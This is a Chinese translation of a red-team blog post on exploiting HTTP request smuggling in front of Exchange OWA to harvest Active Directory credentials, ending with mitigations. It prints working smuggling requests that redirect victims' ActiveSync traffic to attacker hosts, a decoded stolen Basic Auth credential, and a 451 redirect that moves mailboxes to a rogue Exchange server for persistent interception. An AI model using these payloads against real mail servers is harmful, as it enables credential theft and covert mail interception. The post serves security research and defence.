通过HTTP请求走私获取Active Directory凭证

admin 2022年4月23日02:21:52通过HTTP请求走私获取Active Directory凭证已关闭评论63 views字数 11174阅读37分14秒阅读模式

译文来源:https://tij.me/blog/harvesting-active-directory-credentials-via-http-request-smuggling。受个人知识所限及偏见影响,部分内容或存在过度曲解误解现象,望师傅们包含并提出建议,感谢。

一个允许你对Exchange客户端凭据获取持续访问权的漏洞

利用对外开放服务的漏洞是我们在一个网络内获取第一个站脚点的方法之一。并且这种方法在在野攻击中也是比较普遍的。众所周知,很多攻击方人员都会滥用一些像是缓冲区溢出(G0098)、SQL 注入(G0087)或者其他(已知的)具有代码执行功能的漏洞(G0016)。

作为一支红队,我们的任务就是要模拟这些攻击方的行为。红队的活动主要就是针对符合目标客户的攻击方威胁特征,将其放到现实中进行模拟演练。在模拟演练的过程中,我们会尝试利用已知的攻击手段来获取目标客户资产的访问权。这里还需注意的是,这些攻击手段中并不局限于纯粹的技术和产品上的漏洞利用,还包括对业务(如密码策略)和行为学(如社会工程学)方面的利用。红队的参与还有助于训练蓝队在应对此类攻击时的检测和响应能力,以及客户在面临网络攻击时的恢复能力如何。

本篇博客中描述了我们在一次活动中所发现的HTTP请求走私(HRS)漏洞。在对目标客户的网络尝试获取最初的切入点时,它就可以很好的利用对外开放服务中的漏洞。在我们的案例中,该漏洞允许我们获取 Active Directory 的验证凭据,然后我们可以用它来登录 Outlook Web Access(OWA)并查看敏感信息。

之后,本文将继续描述如何通过将一个客户端迁移到一个恶意的中间人 Exchange 服务器来获取对 OWA 的持久化访问。

HTTP请求走私

HTTP请求走私漏洞(HRS)是如今非常常见的一种漏洞。在2005年的时候,CGISecurity 发表的一份白皮书中就详细地介绍了该漏洞的起因、影响后果以及如何对它进行缓解的方式。如果你对 HRS 的工作原理并不是很了解的话,我强烈推荐你阅读一下这份白皮书的内容或者是去查阅 PortSwigger 有关 HRS 的博客,来让自己对该漏洞更加熟悉一些。简而言之,当 web 服务器与代理服务器之间发生不同步时,HRS 就会产生。攻击者可以发送一个在前端服务器和后端服务器中被解释为不同含义的请求(这里的前后端表示一次请求分别到达的服务器,指代理服务器和源服务器之间)。例如,攻击者发送一个特制的请求,被前端服务器解释为一个有效请求,但是在后端服务器中却被解释为两个有效请求。因此,第二个请求就被“偷渡”过了前端服务器,最终走私到了后端服务器。正如 James Kettle 在 PortSwigger 中所描述的那样(详见该链接),该请求的响应将会被提供给下一个访问者。

滥用 HRS 将会对系统的保密性、完整性和可用性造成很大的影响。正如在这份相干披露中所公布的那样,Evan Custodio 能够通过利用 HRS 窃取 cookie 信息来实现对 Slack 账户的接管。还有其他案例包括 New Relic的凭据窃取 和对美国国防部基础设施的用户重定向(详见该链接)。

在我们的案例中,HRS 允许我们收集 Active Directory 的验证凭据,这一步在接下来的攻击叙述中将会说到。这次攻击的描述将包含从无到有的所有过程,就像是我们在平常红队活动中做的那样。

攻击叙述

识别受代理的基础设施

在为我们的一个客户提供服务期间,我们的目标是通过渗透他们的数字基础设施来获得一个初步的切入点。由于自动化扫描并没有得到什么结果,我们很快就转而进行人工挖掘。我们利用 GoBuster 工具对子域名进行暴破时识别出了包括 Outlook Web Access(OWA)在内的大量服务。这里用到的字典是由 @bitquark 生成的,其中包含了10万个最常用的子域名。

```shell
$ gobuster dns -d customer.com -i -w ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --wildcard

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: customer.com
[+] Threads: 10
[+] Show IPs: true
[+] Wildcard forced: true
[+] Timeout: 1s
[+] Wordlist: ~/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
===============================================================
1337/07/16 15:30:59 Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.customer.com [153.92.999.999]
Found: www.customer.com [80.148.999.999]
Found: owa.customer.com [86.213.999.999] <-- Outlook Web Access (OWA)
-- snip --
```

在对这些服务进行检查时,我们发现我们一直都是在与一个代理服务器进行通信。这里简单介绍几种可以检测一个服务是否是在代理背后运行的方法。一个针对web应用比较常用的方法就是向该应用发送以下请求,在请求中的第一行中包含一个其它的URI。

请求体如下:

http
GET https://actually-request-this-site.com/ HTTP/1.1
Host: owa.customer.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4

一个正常的web服务器会发送一个“421 Misdirected Request(错误的请求)”作为响应。下面的例子就说明了这种情况。

响应体如下:

```http
HTTP/1.1 421 Misdirected Request
Server: Apache
Content-Length: 322
Content-Type: text/html; charset=iso-8859-1

-- snip --

The client needs a new connection for this request as the requested host name does not match the Server Name Indication (SNI) in use for this connection.

-- snip --
```

然而,当我们将请求的子域名为 owa.customer.com 时,服务器返回了这样的响应,一个“302 Moved Temporarily”。当时,我个人认为这个重定向是HTTP代理的典型行为。但是后来我才发现,它实际的响应主体中应该是一个“200 OK”或是“203 NonAuthoritative Information(非授权信息)”才对,正如在 RFC7230 中所述。

响应如下:

http
HTTP/1.1 302 Moved Temporarily
Location: https://actually-request-this-site.com/owa/
Server: server1
X-FEServer: US-EXCH-008
-- snip --

不过,还是有些地方还是把它正在使用的代理给暴露了,就在 Server 头这里,其值为 server1。这是一个微软 IIS 服务器的非默认值。默认情况下,该值应该是 Microsoft-IIS/8.5(或其他版本)。这就说明,很有可能是由于代理服务器修改了这条响应。

现在我们有迹象表明 owa.customer.com 是存在代理的,我们可以继续对它进行测试来判断它是否容易受到 HRS 的攻击。

识别存在漏洞的代理配置

考虑到 James Kettle 的研究报告,我们着手调查了这一配置是否有可能受到 HRS 的攻击。为了确定 owa.customer.com 是否容易受到 HRS 的攻击,我们发送了以下请求。

```http
POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1
Transfer-Encoding: chunked
Connection: keep-alive
Host: owa.customer.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

44
6kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x
0

GET https://hacker.com/ HTTP/1.0
X-Ignore: 1
```

这个请求中的 Content-Length 头的值是124,也就是整个请求体的长度。它将被发送到代理服务端,代理服务器将使用它来确定请求主体的长度为124字节。然后该请求再被转发到实际的 OWA 服务中。

如果这种配置容易受到 HRS 的影响,那么 OWA 就会以不同的方式来处理该请求(使用分块编码而不是使用内容长度)。分块编码允许客户在请求主体中发送大块的数据。假设存在这样的一个数据块,它以十六进制的44开头,如果转换为十进制,就是68。也就是数据块主体的长度,可以在下一行看到。在68个字符之后,请求以一个大小为0的块作为结束。这是一个 OWA 接收的正常请求。

然而,在结束分块后的部分是未被处理的。OWA 服务就会把它当做是由代理服务器发送的下一请求的一部分(也可能是来自另一个用户的)。

反过来也可以这么说,(如果代理服务使用的是分块编码,OWA 使用内容长度)。那么基础设施在很多方面都将会受到 HRS 的攻击。所有这些方式在 PortSwigger 的博客中都有描述。而实际上,我们使用的真正技巧是,在传输编码头部的前面插入一个空格 Transfer-Encoding: chunked。这样代理服务就无法正常解析到它了,并使用 Content-Length 来确定请求主体的长度。但是,OWA 却能够解析它,并使用 Transfer-Encoding 头来确定正文的长度。

当我们执行上面提及的请求时,我们从服务器得到了以下响应。

```http
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: server1
request-id: 59b59708-3551-44ec-8e05-1e8be2e11859
Set-Cookie: ClientId=MMEESFDUOFIVCMQNW; expires=Wed, 30-Mar-2022 20:57:55 GMT; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 30 Mar 2021 20:57:54 GMT
Content-Length: 28032




-- snip --
```

可以看到,这里的响应状态码是 200 OK,这就说明我们的请求是有效的,而且服务器也返回了一个有效的响应。起初,我以为这意味着它没有解析我们请求体中的第二部分,因为这样的话它就会产生一个 400 Bad Request 的响应状态码。我认为代理服务 /OWA 的配置很可能是存在漏洞的。不过,在经过进一步的研究之后,我们发现 OWA 能够接收任意内容的 POST 数据。

一个更有把握的验证方法是检查另一个用户是否收到了对于请求体中第二部分请求的响应。由于我们请求主体第二部分的请求正常会返回 301 Moved Permanently,另一个用户现在也应该已经被重定向到了 hacker.com 域名,因为该用户得到了重定向作为他们请求的响应。为了验证这一点,我们检查了 hacker.com 的访问日志。其中的关键部分我在下面有列出。

shell
root@hacker:/home/tijme# tail -f /var/log/apache2/other_vhosts_access.log
hacker.com:443 52.12.999.999 - - [19/Dec/2091:12:09:29 +0200] "OPTIONS /Microsoft-Server-ActiveSync?Cmd=Options&[email protected]&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=Outlook HTTP/1.1" 200 3473 "-" "Outlook-iOS-Android/1.0"

确实,事实证明它是存在漏洞的!其中一个用户被重定向到了我们的 hacker.com 域名,这就说明 HRS 请求被成功执行了。

通过查看访问日志,我发现了一些有趣的事情。在我看来,受害者实际上应该向 hackerc.com 的根节点或是 /owa 端点发送一个 GET 请求,而不是向 Microsoft-Server-ActiveSync 端点发送一个 OPTIONS 请求(因为它被重定向了)。然而,在查看了 RFC7231 后,我清楚的意识到,收到 301 Moved Permanently 的客户端可以在随后的请求中保留其请求的方法和请求主体,就像是 308 Permanent Redirect 一样(在这种情况下,客户端需要保持请求方法和请求主体不变)。

总而言之,这意味着有可能从用户那里获取到更多的信息,我们将在接下来的章节中介绍到。

获取态势感知

hacker.com 的访问日志中可以看出,受害者试图使用 Microsoft-Server-ActiveSync 执行同步操作。 ActiveSync 是一种HTTP协议,它能让用户直接从 Exchange 服务器上下载邮件,而不再借助于只能帮助用户在 web 客户端中查看邮件的 OWA。

通过HTTP请求走私获取Active Directory凭证

人们可以在各类邮箱客户端中配置 ActiveSync,比方说是在苹果邮箱中。从苹果连接 ActiveSync 终端的手册中可以看到,用户必须提供一个服务器、域名、用户名和密码。而这些细节很可能是通过 HTTP 请求发送到服务器中的。无论是在配置过程中还是在每次的请求中。

凭据何时被发送到服务器上,实际上取决于 Exchange 中配置的认证类型。常见的认证类型有”Modern Authentication(新式验证)“,它使用 SAML 协议,因此在使用用户名和密码进行初始认证后会生成一个认证令牌。认证类型”Basic Auth(基础验证)“是一种通过在每个 HTTP 请求中发送用户名和密码(base64 编码格式的)进行认证的方式。

看到这里,你们是不开始有些兴奋了?如果 Exchange 服务器被配置为使用 Basic Auth 验证方式的 ActiveSync, 用户就会在每一个 HTTP 请求中发送用户名和密码。由于我们能够执行 HRS,我们也就能够拦截这些验证凭据。

收集并利(滥)用这些凭据

我们目前知道,一个成功的 HRS 攻击可以将受害者重定向到一个恶意服务器上,邮箱客户端也将会保留最初的请求方法,而且很可能还保留了最初的请求头信息和请求主体,我们还知道,受害者在每个 ActiveSync 请求中都会发送他们的经 base64 编码过的验证凭据。这意味着我们离截获这些凭据只有一步之遥了。

在我们的恶意服务器上可以通过各种方式来对请求头信息进行捕获。在这个 POC 中,我选择用 Burp Collaborator,它可以在 HTTP 和其他各种协议的服务器之间起到捕获拦截的作用。

我修改了最初了 HRS 请求,将受害者重定向到我的 Burp Collaborator URI 而不是 hacker.com。最后的请求如下所示:

```http
POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1
Transfer-Encoding: chunked
Connection: keep-alive
Host: owa.customer.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 165

44
6kqfa=x&url=https%3a%2f%2fowa.customer.com%2fowa%2f&reason=0&whfto=x
0

GET https://xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net/ HTTP/1.1
X-Ignore: 1
```

片刻之后,正如预期的那样,Burp Collaborator 捕获到了来自受害者的 ActiveSync 请求。

```http
POST /[email protected]&DeviceId=e1568c571e684e0fb1724da85d215dc0&DeviceType=iPhone&Cmd=FolderSync
Host: xcdf8ar1e2dnaqc1t7ebdyt8gzp5e.burpcollaborator.net
Content-Type: application/vnd.ms-sync.wbxml
Accept: /
Accept-Language: nl-nl
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
MS-ASProtocolVersion: 14.1
User-Agent: Apple-iPhone11C8/1804.70
Authorization: Basic Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy
Content-Lengh: 13
X-MS-PolicyKey: 0

jVR0
```

我们已经成功捕获到了验证请求头,其中包含了受害者编码过的验证凭据。

shell
$ echo Y3VzdG9tZXIuY29tXGJvYjpodW50ZXIy | base64 -D
customer.com\bob:hunter2

下图为 HRS 攻击的直观图:

通过HTTP请求走私获取Active Directory凭证

将受害者的邮箱永久迁移到我们的恶意服务器上

~~未~~证明的特性

作为一支红队,我们希望可以深入研究这一发现可能带来的影响。为此,我们从攻击者的角度寻找进一步的选择,其中最值得注意的是可以获得对受害者凭据的永久访问。事实证明,ActiveSync 有一个”特性“,如果用户的邮箱从内部被迁移到了 Office365 上,就会自动更新其邮箱客户端的配置(详见该链接)。该特性的工作原理如下(如图所示)。

  • #1 客户端试图通过 HTTP ActiveSync 来对邮件进行检索。
  • #2 Exchange 会检查用户的邮箱是否存在,或者是否已被迁移到了 Office365 上。
  • #3 域控返回说没有找到该邮箱(说明已被迁移)。
  • #4 Exchange 试图获得当前域的目标 OWA URL(这是该邮箱的托管处)。
  • #5 域控返回目标 OWA URL(本例中为 outlook.office365.com)。
  • #6 Exchange 利用 HTTP 451 将客户端重定向到目标 OWA URL 作为响应。
  • #7 客户端随后发起的请求都将会使用目标 OWA URL。
  • #8 发往目标 OWA URL 的 HTTP ActiveSync 请求执行成功。

通过HTTP请求走私获取Active Directory凭证

因此,总结一下,如果 Exchange 服务器结合 X-MS-Location 头以 451 Unavailable For Legal Reasons 作为响应,受害者的 Exchange 服务器配置就会进行相应的更新。下面是这种响应的一个例子。

http
HTTP/1.1 451 Unavailable For Legal Reasons
Date: Thu, 12 Mar 2009 20:16:22 GMT
X-MS-Location: https://mail.contoso.com/Microsoft-Server-ActiveSync
Content-Length: 0

然而,在使用我们的HRS攻击方法时,不可能会对受害者生成一个 451 Unavailable For Legal Reasons 作为响应。它只可能会生成一个 301 Moved Permanently 的响应,这也正是我们在GET请求中的第一行添加URI时的响应。不过,我们还是可以使用 301 Moved Permanently 将受害者重定向到我们的恶意服务器上,随后再以 451 Unavailable For Legal Reasons 来对合法的 Exchange 服务器进行响应。如果我们能确保恶意的 Exchange 服务器对于合法环境来说只是起到一个代理的作用,我们就可以一直对受害者的所有 ActiveSync 请求进行中间人攻击,而受害者却不会注意到任何异样。下面为该攻击的演示。

通过HTTP请求走私获取Active Directory凭证

将受害者的邮箱迁移到我们的恶意Exchange服务上

为了证明上述理论是可行的,我们将一个”受害者“(tgad.local\ bob )接入我们的演示环境中;还有一个在代理 tgvmex01.local 后面运行的的 Exchange 服务器。Bob 是使用 ActiveSync 进行连接的。他的 iOS Exchange 配置如下所示。

通过HTTP请求走私获取Active Directory凭证

要想把 Bob 的邮箱迁移到恶意 Exchange 服务器上,就必须从执行 HRS 攻击开始,将 Bob 的 ActiveSync 请求重定向到一个恶意服务器中,如下所示:

```http
POST /owa/auth/logon.aspx?2whS=929722944 HTTP/1.1
Transfer-Encoding: chunked
Connection: keep-alive
Host: tgvmex01.proxy
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 160

3F
6kqfa=x&url=https%3a%2ftgvmex01.proxy%2fowa%2f&reason=0&whfto=x
0

GET https://rogue-server.remote/ HTTP/1.1
X-Ignore: X
```

无论请求如何,服务器 rogue-server.com 总会返回相同的响应。该响应如下所示,在响应头中包含恶意 Exchange 服务器的信息且响应状态为 451 Unavailable For Legal Reasons

http
HTTP/1.1 451 Unavailable For Legal Reasons
Date: Thu, 08 Apr 2021 18:14:22 GMT
Server: Apache/2.4.46 (Debian)
X-MS-Location: https://rogue-exchange.remote/
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

当 Bob 成为 HRS 攻击的受害者时,他将收到来自恶意服务器的 451 Unavailable For Legal Format 响应。 Bob 的电子邮件客户端将把服务器修改为 rogue-exchange.remote,因为该响应表明邮箱是迁移到了这个恶意的 Exchange 服务上。

虽然这个攻击的前几次尝试都没有成功。但在连续尝试了几次后,HRS 攻击终于在 Bob 的同步请求上触发了,导致 Bob 的邮箱客户端配置被改为了恶意的 Exchange 服务,在下面的 Bob 的 Exchange 配置中可以看到。

通过HTTP请求走私获取Active Directory凭证

成功了!由于恶意 Exchange 服务会将所有请求代理到合法的 Exchange 服务上,所以 Bob 并不会发现这里被修改成了恶意的 Exchange 配置(除非他单独对 Exchange 配置进行查看)。作为一个攻击者,我们现在就能够拦截它所有的 ActiveSync 请求,即便是在 Bob 修改了他的验证凭据之后。

缓解措施

有很多可以针对 HRS 漏洞的缓解措施。在一个理想环境中,代理服务器和后端服务器(本例中是 Exchange)都能完全按照 RFC7231 中的规定来对 HTTP 请求进行解析。而这样的做法就已经可以避免 HRS 漏洞了,因为这两个服务器是以同样的方式来对 HTTP 请求的边界进行解析的。

但是,我们并不是处在一个理想环境中的。一个更好的缓解措施是在代理和后端服务器之间禁用 http-reuse(一种性能优化机制),这样每个请求都将会通过单独的网络连接进行发送。此外,HRS 还可以通过强制在代理到后端服务器之间的连接使用 HTTP/2 协议来进行缓解,因为 HRS 漏洞不会出现在这个版本的 HTTP 协议中。

最后,我们强烈建议不要使用 Basic Auth 作为 Exchange 的验证方法。最好是使用 Modern Authentication 验证方法。在使用 Modern Authentication 验证方法的情况下,攻击者“只”能拦截到 oAuth 令牌。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:21:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过HTTP请求走私获取Active Directory凭证http://cn-sec.com/archives/917279.html